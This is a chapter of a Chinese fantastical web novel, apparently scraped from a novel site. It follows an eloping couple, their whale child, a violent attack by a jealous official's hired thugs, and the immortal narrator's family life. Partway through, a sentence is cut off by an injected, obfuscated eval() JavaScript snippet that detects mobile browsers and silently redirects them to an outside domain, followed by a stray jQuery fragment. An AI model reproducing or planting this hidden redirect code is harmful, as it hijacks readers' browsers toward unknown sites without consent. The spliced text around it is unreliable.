默认冷灰
24号文字
方正启体

8. 黑熊

作者:万青朴本书字数:K更新时间:
    吴侑珍变成了美人鱼。


    私奔一年后,安化厂庆典的前几天,李老师回来了。


    他变得瘦削、干瘪,一双凹陷的灰色眼睛,毫无生机,仿佛志怪小说里被榨干了精气的贪吃男人。


    厂区里众人正忙活着挂横幅,只见他肩上背着一条粗麻绳,麻绳另一头绑着一块两米见方的木板。板上捆着那台永久熄火的摩托车,还有一口陶土大缸。


    「快看,那好像是李老师……」


    「哎呀,真是李老师。」


    私奔是一时兴起,凭借的是汹涌真挚的爱意,没有任何规划。可是,自由的爱情在这个处处管制的社会,并不容易。上高速要通行证、出城要通行证、住宾馆要开证明、买夫妻用品更需要证明。


    可彼时如同两团火焰的吴侑珍和李老师,毫不顾忌这些,他们背着盛满钱的背包,紧紧依偎在驰骋的摩托车上,他们怀抱着美好的愿景,三千八百万平方公里的土地,总会有容身之处的。


    清晨,他们在山顶醒来,望着橘红色的太阳,互相诉说愈发深沉的爱意,他为她编织长发,哪怕没有任何人需要去见,他们依然不忘保持美丽和体面,随着太阳爬高,他们决定一路向东,吴侑珍靠在李老师宽阔的背上,描述着对大海的盼望和期待,「到时候,我们找一个没人认识的小渔村,你捕鱼我织网,日出而作,日落而息,我还要给你生好多孩子,你喜欢女孩还是男孩?」傍晚时分,李老师将车开进私人集市,采买食物和水,每周他都会送吴侑珍一个定情礼物,有时是花裙子,有时是雪花膏,他们在幽静的芦苇丛里放肆地呼喊,除了月亮和小鱼,再没有什么能打扰这欢愉。


    「阿珍,你愿意做我的妻子吗?」


    「我愿意。」


    摩托车奔驰了八十一天,那是一个霞光满天的傍晚,李老师停下摩托车,熄火。世界瞬间如同死亡般寂静,而寂静的深处,一个沉闷的犹如塞壬吟唱的声音,从脚底隐隐传来。


    是汹涌的波涛,是暴力的击打,是自这个星球诞生起便存在的,那日复一日的悲鸣。


    吴侑珍激动得泪盈满眶。


    「小李,你听到了吗,是……大海……」


    她蹬掉高跟鞋,赤脚跳跃在石头上,如同与母亲走失多年的觉醒血脉的孩子,向自己灵魂的生母奔去。


    小李望着她欢喜的样子,瞬间觉得更加自卑。她是如此的纯粹、原始、天真,她身体里还残留着远古的召唤,而他虽自诩理想主义,却无形中被社会规制所荼毒,满心满眼都是权衡利弊。


    他暗暗发誓,从今往后,要更加倍地爱吴侑珍,无论什么都不能将两人分离。


    巍峨的崖边,吴侑珍生来第一次感受到了海风,潮湿、混着鱼腥、粘稠、钻入皮肤的每一处毛孔。她吮吸得忘乎所以。她从未觉得自己像此刻般自由、干净、丰盈。她感到自己正在接受一场神圣的受洗,仿佛初生的婴儿,被给予最纯洁的祝福。


    七个月后,吴侑珍在李老师亲手搭建的海边棚屋里生下了两人爱情的结晶。


    确切地说,是一条鲸鱼。


    两人仅仅花了五秒钟,揉了揉眼睛确定不是梦境后,便接受了这个事实。


    「看来,之前准备的衣服要重新做了。」


    「只是不能确定是男是女。」


    「好在名字不影响,要改吗?」


    「不改,就叫海婴,无论它是人是鱼,都是我俩的孩子,也都是大海的孩子。」


    海婴以几乎分秒的速度飞速长大。李老师正裁剪完新衣服布料,比身一量,短了整整一尺。吴侑珍本想给它织顶虎头帽,却越织越小。三天后,海婴已经长得和李老师一般身长。两人最终决定放弃这些人类的形式主义的爱,转而带着海婴奔进了大海里。


    海婴欢快地发出叫声。


    李老师和吴侑珍都听懂了,那是属于鲸鱼的「爸爸」「妈妈」的语言。


    三人在水中畅游嬉戏,海婴一会吐泡泡将爸爸妈妈圈起来,一会把两人驮出海面,仿佛在飞,偶尔它也调皮,帮着妈妈向爸爸的身上甩水,或是和爸爸一起突然从妈妈的身后出现,轻轻亲吻她。海婴很聪明,它用与生俱来的捕食天赋,带回金枪鱼给爸爸妈妈。爸爸妈妈也会买甜甜的汽水喂给它喝。


    如果卖汽水的老板没有为了一万块的赏钱而联系陈传富,这种美妙幸福的生活或许可以一直延续到海婴成年离开。


    陈传富并不知晓海婴的存在,他憎恨吴侑珍二人。从前有多贪恋,如今便有多恨。人尽皆知吴侑珍是他的情妇,她的私奔,害他在人前丢尽了脸面。对于一个颇有权力的人来说,脸面甚至比他的良心和尊严都重要成千上万倍。


    很快,一卡车一卡车的地痞流氓被运往海边的棚屋。


    李老师为保护吴侑珍,拼力堵住房门。「海婴,带你妈妈去海里,记住不可以让任何人类伤害她。」


    吴侑珍并不愿走,但彼时的海婴已经身长五米,它的力量并不是她能抗衡。


    木板门被砍破,数十人提着斧头涌进来,李老师全力对抗,却毫无用处,最终被骨肉模糊地用麻绳束在梁上,他视线模糊地望着大海的方向,眼睛悲痛得就要流着血来。


    「快逃,快逃……」


    恶人们又蜂拥向海边跑去,他们有的从卡车上拖出快艇,有的则赤膊跃入海中。


    只要有足够丰厚的赏金与好处,掌权者想拿走一个人的性命,简直易如反掌。他甚至无需自己出力气,自有亡命之徒代劳。


    一时间,深夜的大海灯火通明。恶人们架起猎枪。


    吴侑珍看到枪筒的那一刻,纵身从海婴后背跃下。


    「海婴,往深海里游,从今以后别靠近岸边。」


    吴侑珍并不是一个勇敢的女将军式的人物,她风情且愚钝,只是个普通的想保护自己孩子的母亲。她很清楚,当决定私奔的那一刻,自己就不会善终,可是上天偏爱她,给了她一个真挚的爱人,和独一无二的孩子。这已经是最好的结束了。


    她跳进大海,打算坦然地迎接属于自己的折磨或者死亡,如果可以,她希望会是死亡。


    海婴很聪明,它发出求救的讯号,很快,成群结队的鲸鱼从遥远处游来。它们在海岸线外十海里的地方,排成长队,然后在统一的号令下将尾巴拍向海面,滔天的海浪瞬间拔地而起,向岸边涌来,前仆后继。


    恶人们被甩向天空,又重重砸向锋利的礁石,快艇也都被拍得粉碎。


    待海面归于平静时,棚屋里,木板床上,原本血肉模糊的李老师睁开眼睛,他的伤口出乎意料地愈合大半。出现在他眼前的是一条一米余长的鱼尾,五彩斑斓,流光熠熠。


    「侑珍?是你么?」


    鱼尾之上的女人缓缓回过头来:「是我,小李。」


    「这是怎么回事?你有没有受伤?」


    「我没受伤,海婴把我保护得很好,我让它跟同伴们离开了。」


    小李撑着胳膊坐起来。「让我抱抱你吧,我原以为自己要离开你了。再见到你,真好。」


    吴侑珍靠在李老师怀里:「我们回去吧,海婴为了保护我不被海啸伤害,请鲸鱼族群的首领将我变成半身鱼,它说,如果我想变回人,只能请林大哥帮忙。」


    「林复生?」


    「是他。」


    「好,我这就去准备。」李老师从不质疑吴侑珍,也从不拖延她的需求。这赢过了百分之九十的男性。


    彼时的我正忙于照看九个孙子。他们每一个都有着超乎寻常的旺盛精力,这使得我完全腾不出空闲来和古秀梅过二人世界。老庄媳妇卖红薯之余,常常帮我带龙大龙二,这两个孩子最是能蹦能跳,有次我去接两孩子回来,只见老庄媳妇将他们各自放在一个大木桶里,两人此起彼伏的跳跃,发出咯咯哒的欢笑声。老庄媳妇则在一旁笑眯眯地洗红薯。


    她说:「这俩孩子真棒,我在桶底放了炒熟的花生和芝麻,然后铺上塑料膜,两人蹦蹦跳跳着就帮我踩成了花生芝麻碎,回头加点盐和辣椒粉,卖了钱我要给他俩发工钱的。」说完,她转头望向桶里的龙大龙二,「发工钱咱们给宝宝买糖,好不好呀?」龙大龙二笑得更开心了。


    这件事儿给了我启发,于是我回家便开始着手制作动能发电装置,我在阳台划了四平米出来,又去废品站捡了八个木桶,桶底做踏板,踏板连接发电机。就在竣工前夕,龙震天忽然仿佛变了个人般,将自己锁在房间里,三天不出。


    这小子素来没心没肺,睡了姑娘也毫无责任心可言,却突然闭门不出,只言不发。我架起一根烟,猜想不出会是怎样的变故。


    龙震天的美貌是雌雄莫辨的,有多少女人喜欢他,也就有多少男人喜欢他。除了孩子,我们家门口每天都会有一麻袋倾诉衷肠的情书,半年里,连邮递员的自行车都压坏了两辆。除了情书,还有各式各样的礼物,正常的有巧克力、奶糖、钱包、钢笔,不正常的有:头发、穿过的袜子、牙齿、空气。正常的都透露着实用性,不正常的则是病态的浪漫。


    「这是我的味道,你喜欢吗?」


    「可以回送我一颗你的乳牙吗?想把它镶进我嘴里。」


    古秀梅的评价犀利而到位:「神经!」


    我五体投地地表示赞同。


    自古以来,美貌似乎都不是一个绝对好的形容词,其背后往往伴随着:嫉妒、占有、强制、扭曲、灾祸。


    一次平常的随堂跳高体测,被爱意扭曲的姑娘故意在龙震天起跳后,将栏杆抬高,震天重重摔倒在地,手臂和大腿的皮肤瞬间撕裂大片,鲜血汩汩渗出。


    女孩和同伴为表达歉意,如愿被指派送震天去安化诊所。


    一路上,女孩们芳心波动,热情地帮美少年拂去皮肤上的灰尘,手指触碰的瞬间,情窦初开的女孩脸红心跳。


    龙震天出于本能,伸手扶了当中最漂亮的那个。


    四目相对之时,两人甚至约好了放学后的去处,为我即将到来的第十个孙子做些必要的准备工作。


    其他的女孩则瞬间由脸红变为妒忌。她们在眼神里将那姑娘千刀万剐了一遍又一遍。


    无论年纪,女人的心里都有一条「男人无罪」的法律准则,分明是由男人而起的争端,她们却往往忽略男人、甚至维护男人,而与同样无辜的女人对立、争斗、彼此伤害。


    古秀梅的评价依旧犀利而到位:下贱!


    只有像我这样充满阅历与智慧的人,才懂得古秀梅的好。她不需要华美的服饰和姣好的容颜,她不会搔首弄姿,也不会伏低做小,她脱离了男性思维里的女性框架,她有坚定的理想、果敢的性


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422482|184777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    格、刚直的手腕。这话我似乎讲过一遍了,但我总是控制不住想要表达对她的爱慕与崇拜。要知道,我可是一个天地伊始便存在的历史学家,这星球上所有出现过和将出现的人的名字我都知道,但我只有古秀梅这一个爱人。


    我亿万年生命里的,唯一的爱人。


    我生怕她看不彻底我的爱。


    我希望她也能长长久久地活下去,尽管我知道她会在百年后的一个蝉声阵阵的午后死去,尽管还有一百年的光阴,但每每想到这必然到来的别离,我就止不住地悲痛起来。每见我陷入悲伤,她总是做一碗热腾腾的鸡蛋汤面给我。


    第一百五十三位母亲离世前怕我饿肚子,也给我煮了一大锅鸡蛋汤面,她说:「吃饱了就不会难受了。」说完,曾经被抓做慰安妇的她,便启程坐上了去往国际法庭的飞机,几小时后,收音机里传来了飞机失事、无人生还的消息。


    那年,我重生六岁,我从锅里盛了满满一碗汤面,坐在收音机旁大口吃起来。


    面,还是温的。


    我再次陷入悲伤,如果可以,我不想要这永生的灵魂,我想和古秀梅一起结束在多年之后蝉鸣的海棠树下。可惜,古秀梅永远都不能知晓我对她偏执的爱情,这并不怪她,谁让我嘴笨且手懒,这种空口无凭的爱,她没骂着和我闹离婚就感天谢地了。


    小李拉着破摩托和鱼缸来到我家楼下。


    敲门声将我从悲伤里拔了出来,家里已经很久没有客人,我赶忙将手里的字稿塞进龙三的尿不湿里。我还在思想教育观察阶段,如果是被突然上门的督察员看到,我怕是要被下放到猪棚的。


    「林哥,是我。小李。」


    听到这话,我慌乱的心被放下,忙去开门:「屋里孩子太多,顾不及。」


    小李心知肚明:「明白。」


    「你来的事情我知道,只是得等等,月圆之夜再来,我剜二两肉给侑珍妹子吃了便能好。」


    李老师当即便要跪下,我拦下他。


    「如果不是我,你们或许也不会有这些磨难。」


    「不,林大哥,是你让我和侑珍真正活了这辈子,我们都感谢你。你放心,不会有人知道这件事。」


    「你去城北的土地庙,找黑熊,他是陈传富的小舅子,会帮你。」


    陈传富在婚后两年,妻子黑豹生下一女后,他便得了无精症,再也无法生育,这是安化厂人尽皆知的秘密。


    陈传富散尽家财、寻遍良医,藏地的冬虫夏草、新疆的天山雪莲、苗谷的蜘蛛、蜈蚣、毒蛇,凡是药方,有毒的没毒的他都吃过,外国人电击那套、生物浸泡、甚至密法里的生食,他也都试了。终是无果。


    久病的陈传富,逐渐扭曲,每每女儿读书不在家时,他便将黑豹送进地下室,单挑衣服遮蔽的皮肤。


    而当女儿放假回家,他又扮演起慈父贤夫的角色,主动做饭,帮女儿和妻子精心挑选礼物。


    黑豹为什么不反抗?


    我不得而知。


    我只能看到人们所做所说的,并不能知道人们所想。


    如此生活了七年后,黑豹因意外坠楼,死在了新世纪前的除夕夜。


    真的有黑暗到不见一丝光明的人生吗?


    当然有。而且很多。


    那些黑暗的深层源头和心理要素,就如同变态连环杀人魔的内心一样,不可探索,不可究竟。这也就是世界为什么需要心理学家和犯罪学家。知晓了黑暗与杀戮的原因和心理活动,才能通过教化,扼制这种黑暗和杀戮。


    是的,需要接受教化的不止加害者,受害者同样需要。


    不同的是,加害者要学会善良和控制恶性,受害者要学习反抗和勇气。


    黑熊也并不知晓姐姐经历了什么。但他凭借血缘的关联,确切感应到姐姐的死亡并非偶然。他曾是政法大学最年轻的教授,留学鹰国,天之骄子,如今隐居在破败的土地庙里,一边埋头做学术研究,一边积累证据。后来他成了新的家庭立法的推动者之一,并促成了废除家暴法案的通过。


    是的,黑豹坠楼五十年之后,家暴罪这个家庭社会的产物被抹去,而只保有以个人为主体的故意伤害罪。


    我仍记得那天的决议大会里,有古秀梅一票。为此,白发斑驳的我俩特地到供销店买了一瓶葡萄酒,俩人畅快地一饮而尽。


    古秀梅说:「这世界总会光明的,或许对某个个体而言,它迟到了,但对于后世的千千万万人而言,它不会缺席。」


    而我没有告诉古秀梅的是,光明是一时的。历史上,家暴的词汇可谓是在律法词典里七进七出,如同日夜的必然交替般,光明与黑暗总是纠缠不清、反复更迭的。


    李老师带着吴侑珍叩响了土地庙的大门。


    开门的正是穿青衣长衫的黑熊,他剃光头,五官温和,鼻梁架一副褪色的金丝眼镜,镜腿缠着棉布条。他右手开门,左手还攥着大部头书。这与李老师想象中粗狂的壮汉模样大相径庭。


    李老师当即跪下:「我们被陈传富追杀,请暂时收留我们。」


    黑熊打量一番:「明白了,进来吧。」


    与聪明人说话做事,总是简洁许多。他会自行整理零碎的线索,传闻的、看到的、推理的。然后你只需开口说出需求,能不能应,他即刻判断。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)